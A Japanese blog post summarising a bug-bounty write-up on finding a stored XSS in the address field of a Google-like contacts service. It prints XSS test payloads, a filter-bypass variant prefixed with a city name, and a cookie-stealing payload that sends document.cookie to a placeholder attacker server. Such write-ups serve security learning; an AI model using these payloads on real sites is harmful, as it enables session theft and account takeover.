Shikata Ga Nai

Private? There is no such things.

How I find my first Stored XSS: 650€を訳してみた

Hello there, ('ω')ノ

 

保存されたXSSを見つける方法を。

 

脆弱性:

 保存されたXSS

 

記事:

 https://filipaze.medium.com/how-i-find-my-first-stored-xss-c6f57155cc1a

 

今回のターゲットは、グーグルに似たサービスで。

メールサービスやカレンダーなどがあって。

最も注目したのは、連絡先を保存して誰かと共有できるアジェンダサービスで。

ターゲットをハッキングし始めるたびに、通常のユーザとしてアプリを使用して。

その過程で、すべて入力を下記のペイロード1つで。

HTMLインジェクション、XSS、およびコードインジェクションをテストして。

 <img src=x onerror=alert()>’”${{2*2}}

 

このサイトは、住所と連絡先を関連付けることができて。

最終的に連絡先は、住所の地図が他の連絡先の詳細とともに追加されて。

ここにバグがあって。

 連絡先 ⇦ 住所の地図 + 他の連絡先の詳細

 

下記のペイロードを入れると気づいて。
 <img src=x onerror=alert()>


アドレス入力でXSSがトリガされたので、ペイロードが保存されたものの。

このペイロードを下記のように変更するとペイロードが機能しなくなって。

 

 <img src=x onerror=alert(“hacked”)>

 

しかしながら、アドレスを使用してユーザに地図を提供する場合。

おそらく、ユーザが自分のアドレスの場所を見つけた場合に。

ペイロードは機能するだろうと思ったので。

ペイロードの前に都市を追加すると。

被害者がペイロードを実行することができて。

 new york <img src=x onerror=alert(“hacked”)>

 

次にアカウントのCookieを盗むために下記のペイロードを使用することに。

 new york <img src=x onerror=this.src=’<PUT_HERE_YOUR_SERVER>?’+document.cookie>

 

PUT_HERE_YOUR_SERVERには、ngrokを使用して。

 https://ngrok.com/

 

f:id:ThisIsOne:20210822120947p:plain

 

このペイロードは、サーバに対して無制限の数のリクエストを生成するものの。

100文字に制限されていたので、可能な限り最小にする必要があって。

 

Best regards, (^^ゞ